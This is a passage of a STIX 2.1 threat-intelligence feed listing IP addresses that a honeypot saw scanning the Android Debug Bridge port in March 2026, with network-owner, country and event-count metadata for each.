      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-07T21:38:01.000Z | last_seen=2026-03-21T02:48:37.263Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--212a8b77-78bb-467c-8a1e-dc25d13a1ef5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T22:00:03.000Z",
      "valid_until": "2026-04-08T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-07T21:38:01.000Z",
          "last_seen": "2026-03-21T02:48:37.263Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-07T21:38:01.000Z | last_seen=2026-03-21T02:48:37.263Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--212a8b77-78bb-467c-8a1e-dc25d13a1ef5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T22:00:03.000Z",
      "valid_until": "2026-04-08T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-07T21:38:01.000Z",
          "last_seen": "2026-03-21T02:48:37.263Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=95; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=98 | first_seen=2026-03-07T23:13:11.000Z | last_seen=2026-03-08T00:02:30.394Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--75e5ced2-b196-4b36-8a04-5c4a88c6ebd2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.172.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:00:02.000Z",
      "valid_until": "2026-04-09T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 98,
          "first_seen": "2026-03-07T23:13:11.000Z",
          "last_seen": "2026-03-08T00:02:30.394Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-07T23:34:33.000Z | last_seen=2026-03-07T23:35:56.823Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--f36f08f4-dae9-4351-8ff3-3a5cb2ad0250",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:00:02.000Z",
      "valid_until": "2026-04-09T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-07T23:34:33.000Z",
          "last_seen": "2026-03-07T23:35:56.823Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=205759; asn_org=Ghosty Networks LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-07T23:16:54.000Z | last_seen=2026-03-08T05:24:46.862Z | ports=5555 | cc=NL | asn=205759 | org=Ghosty Networks LLC",
      "id": "indicator--ccfd7306-5151-4d6d-a08f-70c45837b184",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '83.142.209.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:00:02.000Z",
      "valid_until": "2026-04-09T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-07T23:16:54.000Z",
          "last_seen": "2026-03-08T05:24:46.862Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "205759"
          ],
          "org": [
            "Ghosty Networks LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T00:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=95; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=98 | first_seen=2026-03-07T23:13:11.000Z | last_seen=2026-03-08T00:02:30.394Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--75e5ced2-b196-4b36-8a04-5c4a88c6ebd2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.172.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:00:06.000Z",
      "valid_until": "2026-04-09T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 98,
          "first_seen": "2026-03-07T23:13:11.000Z",
          "last_seen": "2026-03-08T00:02:30.394Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T00:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-07T23:34:33.000Z | last_seen=2026-03-07T23:35:56.823Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--f36f08f4-dae9-4351-8ff3-3a5cb2ad0250",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:00:06.000Z",
      "valid_until": "2026-04-09T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-07T23:34:33.000Z",
          "last_seen": "2026-03-07T23:35:56.823Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T00:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=205759; asn_org=Ghosty Networks LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-07T23:16:54.000Z | last_seen=2026-03-08T05:24:46.862Z | ports=5555 | cc=NL | asn=205759 | org=Ghosty Networks LLC",
      "id": "indicator--ccfd7306-5151-4d6d-a08f-70c45837b184",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '83.142.209.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:00:06.000Z",
      "valid_until": "2026-04-09T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-07T23:16:54.000Z",
          "last_seen": "2026-03-08T05:24:46.862Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "205759"
          ],
          "org": [
            "Ghosty Networks LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-08T02:47:43.000Z | last_seen=2026-03-08T02:57:58.954Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--07fe4790-1cb1-4222-8d0e-879a93006778",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.230.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:00:03.000Z",
      "valid_until": "2026-04-09T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-08T02:47:43.000Z",
          "last_seen": "2026-03-08T02:57:58.954Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-08T02:34:22.000Z | last_seen=2026-03-08T02:45:47.403Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--7201b34b-d235-4c20-bb64-16c94298a0ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:00:03.000Z",
      "valid_until": "2026-04-09T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-08T02:34:22.000Z",
          "last_seen": "2026-03-08T02:45:47.403Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-08T02:47:43.000Z | last_seen=2026-03-08T02:57:58.954Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--07fe4790-1cb1-4222-8d0e-879a93006778",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.230.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:00:03.000Z",
      "valid_until": "2026-04-09T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-08T02:47:43.000Z",
          "last_seen": "2026-03-08T02:57:58.954Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-08T02:34:22.000Z | last_seen=2026-03-08T02:45:47.403Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--7201b34b-d235-4c20-bb64-16c94298a0ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:00:03.000Z",
      "valid_until": "2026-04-09T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-08T02:34:22.000Z",
          "last_seen": "2026-03-08T02:45:47.403Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-08T03:52:11.000Z | last_seen=2026-03-08T03:53:16.456Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--45b95fb3-bc2f-4b01-87e9-daa5cc92a5c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '174.138.51.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:00:02.000Z",
      "valid_until": "2026-04-09T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-08T03:52:11.000Z",
          "last_seen": "2026-03-08T03:53:16.456Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-08T03:47:56.000Z | last_seen=2026-03-27T10:22:39.215Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:00:02.000Z",
      "valid_until": "2026-04-09T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-08T03:47:56.000Z",
          "last_seen": "2026-03-27T10:22:39.215Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-08T03:46:26.000Z | last_seen=2026-03-08T03:47:30.106Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ebe4d0e3-68ed-434e-a150-e60f220c8cf1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:00:02.000Z",
      "valid_until": "2026-04-09T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-08T03:46:26.000Z",
          "last_seen": "2026-03-08T03:47:30.106Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T04:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-08T03:52:11.000Z | last_seen=2026-03-08T03:53:16.456Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--45b95fb3-bc2f-4b01-87e9-daa5cc92a5c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '174.138.51.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:00:08.000Z",
      "valid_until": "2026-04-09T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-08T03:52:11.000Z",
          "last_seen": "2026-03-08T03:53:16.456Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T04:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-08T03:47:56.000Z | last_seen=2026-03-27T10:22:39.215Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
